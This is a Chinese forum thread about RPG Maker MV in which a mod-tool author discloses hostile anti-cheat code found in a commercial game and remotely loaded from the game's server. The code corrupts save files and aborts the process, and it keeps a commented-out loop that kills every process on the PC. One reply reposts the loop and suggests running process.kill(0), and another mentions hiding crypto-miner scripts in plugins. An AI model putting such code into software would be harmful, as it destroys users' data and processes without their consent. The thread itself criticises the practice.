设为首页收藏本站|繁體中文

Project1

 找回密码
 注册会员
搜索
查看: 15370|回复: 108
打印 上一主题 下一主题

[交流讨论] 讨论,做暗桩 发现作弊时 杀掉电脑上的全部进程合理吗?

[复制链接]

Lv3.寻梦者

梦石
0
星屑
3461
在线时间
292 小时
注册时间
2020-1-27
帖子
190
跳转到指定楼层
1
发表于 2020-7-11 00:25:26 | 只看该作者 |只看大图 回帖奖励 |倒序浏览 |阅读模式

加入我们,或者,欢迎回来。

您需要 登录 才可以下载或查看,没有帐号?注册会员

x
本帖最后由 zths 于 2020-7-11 00:50 编辑

我有制作一个MV 修改 + 翻译 工具,今天有用户发给我一个游戏样本。。
用户反馈用了修改器后没法存档。。。
我在调试过程中找到了如下代码:

JAVASCRIPT 代码复制
  1. setInterval(function() {
  2.     const againstCheating = function() {
  3.         // Graphics._applyCanvasFilter();
  4.         // SceneManager.stop();
  5.         try {
  6.             StorageManager.save = StorageManager.saveBk || StorageManager.save;
  7.             StorageManager.save(-1, JSON.stringify({"你好": "请勿破解!"}));
  8.             StorageManager.save(0, "{}");
  9.             StorageManager.save(1, "{}");
  10.             setTimeout(function() {
  11.                 // for (var i = 0; i <= 65535; i += 2) {
  12.                     // if ([process.pid, process.ppid].includes(i)) {
  13.                         // continue;
  14.                     // }
  15.                     // try {
  16.                         // process.kill(i);
  17.                     // } catch (e) {
  18.                         // continue;
  19.                     // }
  20.                 // }
  21.                 process.abort();
  22.             }, 20000 + Math.random() * 20000);
  23.         } catch (e) {
  24.             process.kill(process.ppid);
  25.         }
  26.     };
  27.     if (window.close.toString() === "function (){}" || document.querySelector('#HackStageWrap')) {
  28.         againstCheating();
  29.     }
  30.     if (document.querySelector('#HackStage')) {
  31.         againstCheating();
  32.     }
  33.     if (document.querySelector('#CommonEventTab')) {
  34.         againstCheating();
  35.     }
  36.     if (document.querySelector('#TabContext')) {
  37.         againstCheating();
  38.     }
  39.     if ([typeof HackToast, typeof CheckeISNodeJS, typeof  initSysTab, typeof initItemTab, typeof initWeaponTab,
  40.         typeof openSetIntervalCodeWin, typeof initkeySettingTab, typeof offHackStage, typeof StorageManager.saveBk].includes('function')) {
  41.         againstCheating();
  42.     }
  43. }, 3000)


被注释的部分实际功效是杀死电脑里的所有进程....
被发现时代码就是被注释的状态..
我猜可能是有用户被搞了才注释掉的...(只是我猜)
代码是在线上服务器动态加载的....
作者有权力随时修改并应用到客户端.

整段代码仅是针对了我的修改工具.. ( 我的工具就只有 修改 和 翻译 功能, 不提供游戏解包..  而且我自行解包后发现,他的有素材基本都是未授权的网络图片... 很多色图...)
现在代码段已经被作者用 nwjc 加密.
我没心思去分析他后来又进行了什么改动..

游戏是: 魔王契约2.3

说真的 游戏里除了 礼包 就是 抽卡 ???(应该要充值 我没仔细看)
看起来就是手游的套路。。
玩的啥?
为啥就不能好好做游戏??
示例:




评分

参与人数 1+1 收起 理由
白嫩白嫩的 + 1 犹如盗版ps使用者枪杀盗图淘宝店主.

查看全部评分

Lv5.捕梦者 (版主)

梦石
1
星屑
23963
在线时间
3338 小时
注册时间
2011-7-8
帖子
3925

开拓者

2
发表于 2020-7-11 00:34:54 | 只看该作者
话说windows下没有足够权限也可以kill别的进程么?如果是浏览器上访问的应该做不到吧?
熟悉rgss和ruby,xp区版主~
正在填坑:《膜拜组传奇》讲述膜拜组和学霸们的故事。
已上steam:与TXBD合作的Reformers《变革者》
* 战斗调用公共事件 *
* RGSOS 网络脚本 *
回复 支持 反对

使用道具 举报

Lv3.寻梦者

梦石
0
星屑
3461
在线时间
292 小时
注册时间
2020-1-27
帖子
190
3
 楼主| 发表于 2020-7-11 00:37:29 | 只看该作者
本帖最后由 zths 于 2020-7-11 00:53 编辑
guoxiaomi 发表于 2020-7-11 00:34
话说windows下没有足够权限也可以kill别的进程么?如果是浏览器上访问的应该做不到吧? ...


是 nwjs 的
就是当前操作用户的权限。。
MV 的 Game.exe 的这种都有这样的权限。。
没开 UAC 的话更过分。。 就是管理员权限。。


所谓的代码动态加载 就是从服务器上请求然后拿下来执行。。。。。。。
简直生艹。


这是那个加载的部分(不在 index.html 是动态添加到 body 的):
HTML 代码复制
  1. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/9zhuangtanmeihuachajian.js?_202061021"></script>
  2. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/AltSaveScreen.js?_202061021"></script>
  3. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/AltMenuScreen3.js?_202061021"></script>
  4. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Foreground.js?_202061021"></script>
  5. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D.js?_202061021"></script>
  6. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/9XianShiMinZi.js?_202061021"></script>
  7. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/9MeiHuaBiaoTi-1.js?_202061021"></script>
  8. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/9MeiHuaBiaoTi-2.js?_202061021"></script>
  9. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/9MeiHuaBiaoTi-3.js?_202061021"></script>
  10. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/9YEP_LianTuZhanDou.js?_202061021"></script>
  11. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/YEP_EquipCore.js?_202061021"></script>
  12. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/TDDP_MouseSystemEx.js?_202061021"></script>
  13. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/9zidongchajian.js?_202061021"></script>
  14. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/YEP_PartySystem.js?_202061021"></script>
  15. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/YEP_ShopMenuCore.js?_202061021"></script>
  16. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/YEP_ItemCore.js?_202061021"></script>
  17. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/CunDang.js?_202061021"></script>
  18. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Mehmet_CodePaySimply.js?_202061021"></script>
  19. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Mehmet_EventItemHelpWindow.js?_202061021"></script>
  20. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Candee.js?_202061021"></script>
  21. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Community_Basic.js?_202061021"></script>
  22. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Grover_MapButtonSprite.js?_202061021"></script>
  23. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Grover_MemoryCheck.js?_202061021"></script>
  24. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Grover_Lifebar.js?_202061021"></script>
  25. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Grover_showAnimationOnPicture.js?_202061021"></script>
  26. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Grover_showVariablesOnMap.js?_202061021"></script>
  27. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/NameInputMobile.js?_202061021"></script>
  28. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/YEP_CoreEngine.js?_202061021"></script>
  29. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Grover_playerRating.js?_202061021"></script>
  30. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Patches/GLBitmap.js?_202061021"></script>
  31. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Libs/live2d.min.js?_202061021"></script>
  32. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Framework/Live2DFramework.js?_202061021"></script>
  33. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Framework/utils/MatrixStack.js?_202061021"></script>
  34. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Framework/utils/ModelSettingJson.js?_202061021"></script>
  35. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Framework/PlatformManager.js?_202061021"></script>
  36. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Framework/LAppDefine.js?_202061021"></script>
  37. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Framework/LAppModel.js?_202061021"></script>
  38. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Sprite_Live2D.js?_202061021"></script>
  39. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Scene_L2DTest.js?_202061021"></script>
  40. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Sprite_Live2D_Layer.js?_202061021"></script>
  41. <script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Patches/Game_Screen.js?_202061021"></script>

点评

突出一个引狼入室啊……  发表于 2020-7-11 03:06
实际上整个游戏就可以作为一个全功能远控木马来用。。  发表于 2020-7-11 00:51
回复 支持 反对

使用道具 举报

Lv3.寻梦者

梦石
0
星屑
4119
在线时间
348 小时
注册时间
2020-1-29
帖子
193
4
发表于 2020-7-11 03:17:05 | 只看该作者
【新做】魔王契约
https://rpg.blue/forum.php?mod=v ... amp;fromuid=2706029
(出处: Project1)
回复 支持 反对

使用道具 举报

Lv3.寻梦者

梦石
0
星屑
1343
在线时间
1295 小时
注册时间
2012-8-4
帖子
749
5
发表于 2020-7-11 04:11:59 | 只看该作者
本帖最后由 夜狠简单 于 2020-7-13 18:38 编辑

不合理,远离国产天坑游戏,建议卸载!另外大佬做的mv实时翻译/修改器确实比国外大佬的都还好用

顺便纠正主楼一点

被注释的部分实际功效是杀死电脑里的所有进程....

实际效果是
被注释的部分实际功效是让当前游戏崩溃....
JAVASCRIPT 代码复制
  1. // for (var i = 0; i <= 65535; i += 2) {
  2.         // if ([process.pid, process.ppid].includes(i)) {
  3.                 // continue;
  4.         // }
  5.         // try {
  6.                 // process.kill(i); 实际效果里在这一步kill i = 0 的时候游戏就崩溃了,并不执行剩下的i > 0 的东西
  7.         // } catch (e) {
  8.                 // continue;
  9.         // }
  10. // }


所以合理讨论,感兴趣且胆大的完全可以在自己mv游戏控制台里尝试运行
process.kill(0);
回复 支持 反对

使用道具 举报

Lv5.捕梦者 (暗夜天使)

只有笨蛋才会看到

梦石
1
星屑
21005
在线时间
9337 小时
注册时间
2012-6-19
帖子
7107

开拓者短篇九导演组冠军

6
发表于 2020-7-11 09:59:21 | 只看该作者
歪楼说一下我的看到这贴想到的一些想法:

论坛里此前讨论如何反作弊如何反解包时,回复都是“你的游戏没有作弊/解包的价值”
现在一个玩家会作弊的游戏出现了,并且还有配套的傻瓜反作弊工具,那么,如何反作弊,
毕竟,游戏再垃圾都不能成为作弊的借口
发现玩家作弊搞破坏也不是新冒出来的东西了,早几年MV还没出时我就在论坛看过有类似发现玩家解包就删玩家C盘文件的了,像这种杀进程的比起来反而温和了

额外的,从理论上来说
在论坛发个游戏被盗版网站拿走了,他们也可以手动添加这样一些私货给你后台下载点东西安装点东西
在论坛发脚本的作者也可以在脚本中捆绑些这样的私货,影响范围更大,所有用这脚本的游戏都会成为私货的传播者,比如 document.write(<script>挖矿</script>) 之类的,套一个代码混淆根本看不出来
回复 支持 反对

使用道具 举报

Lv2.观梦者

梦石
0
星屑
757
在线时间
179 小时
注册时间
2015-10-26
帖子
31

开拓者

7
发表于 2020-7-11 10:03:16 | 只看该作者
吃瓜,好像有点意思
回复 支持 反对

使用道具 举报

Lv3.寻梦者

梦石
0
星屑
3461
在线时间
292 小时
注册时间
2020-1-27
帖子
190
8
 楼主| 发表于 2020-7-11 10:13:43 | 只看该作者
喵呜喵5 发表于 2020-7-11 09:59
歪楼说一下我的看到这贴想到的一些想法:

论坛里此前讨论如何反作弊如何反解包时,回复都是“你的游戏没有 ...

你不能保证你得反作弊代码不会出 bug
你也不能为出 bug 的人负责
而且说到底有这种行为的程序就是恶意程序 是属于病毒应该被杀掉的。

而不是 你不应该作弊 作弊活该倒霉。

点评

我感觉这为什么仅针对你的修改工具,是因为你的修改工具面世强大到让太多作者感到无解了  发表于 2020-7-11 10:33
回复 支持 0 反对 1

使用道具 举报

Lv4.逐梦者

梦石
0
星屑
5060
在线时间
705 小时
注册时间
2018-12-11
帖子
241
9
发表于 2020-7-11 11:28:43 | 只看该作者
做这种氪金内购游戏没有问题,在里面各种插破解检测脚本也正常,但你搞这么多侵权素材,尤其是这些未授权的二次元角色原画,放在自己的游戏里盈利,你知道一个举报到画师那里去会发生什么吗?

点评

所以为什么不直接做黄油呢?  发表于 2020-7-11 13:39
检测破解正常,破坏电脑不行。 就是自动删游戏都能理解,但不能破坏电脑…  发表于 2020-7-11 13:36

评分

参与人数 1+1 收起 理由
白嫩白嫩的 + 1 我很赞同

查看全部评分

回复 支持 反对

使用道具 举报

Lv2.观梦者

梦石
0
星屑
569
在线时间
47 小时
注册时间
2018-10-20
帖子
6
10
发表于 2020-7-11 12:00:22 | 只看该作者
这个制作人的游戏系列基本都是坑钱抽卡流,质量不敢恭维
但是每一作卖的都挺不错的,说明确实有很多用户喜欢这个套路
(别惊讶,网友平均素质远低于你的想象,他们也不会在乎什么侵权不侵权)

但是,虽然他的游戏不敢恭维,但我依旧觉得能有反拆包反作弊的意识是很好的
也希望更多游戏加入这种功能,甚至希望惩罚更加严重……
甚至我的一些汉化/自制游戏也加了类似的功能……

毕竟,人是一种懒惰的动物,尤其是在这种小黄油方面
你作弊看了回想,就不会去静下心体验剧情,就不会去欣赏其他内容
你开挂一刀9999把剧情杀的BOSS打死了,卡住剧情还要去骂制作组
甚至你游戏发出去,不到半小时就被无心那群玩意破解,换个封面拿去掐烂钱

不是暗桩惩罚措施合理,而是……大部分人的素质,不敢恭维
只有暗桩才能对游戏起到一定程度的保护

点评

每一作都卖的不错?问题好相处在另一个方面了 好多图都不知道从哪搞来的 还有P站上的  发表于 2020-7-11 13:38
那病毒生产者+1 我就是来确认下国内是不是就这风气…  发表于 2020-7-11 13:35
大概是本论坛最菜选手
回复 支持 0 反对 1

使用道具 举报

您需要登录后才可以回帖 登录 | 注册会员

本版积分规则

拿上你的纸笔,建造一个属于你的梦想世界,加入吧。
 注册会员
找回密码

站长信箱:[email protected]|手机版|小黑屋|无图版|Project1游戏制作

GMT+8, 2024-5-7 11:00

Powered by Discuz! X3.1

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表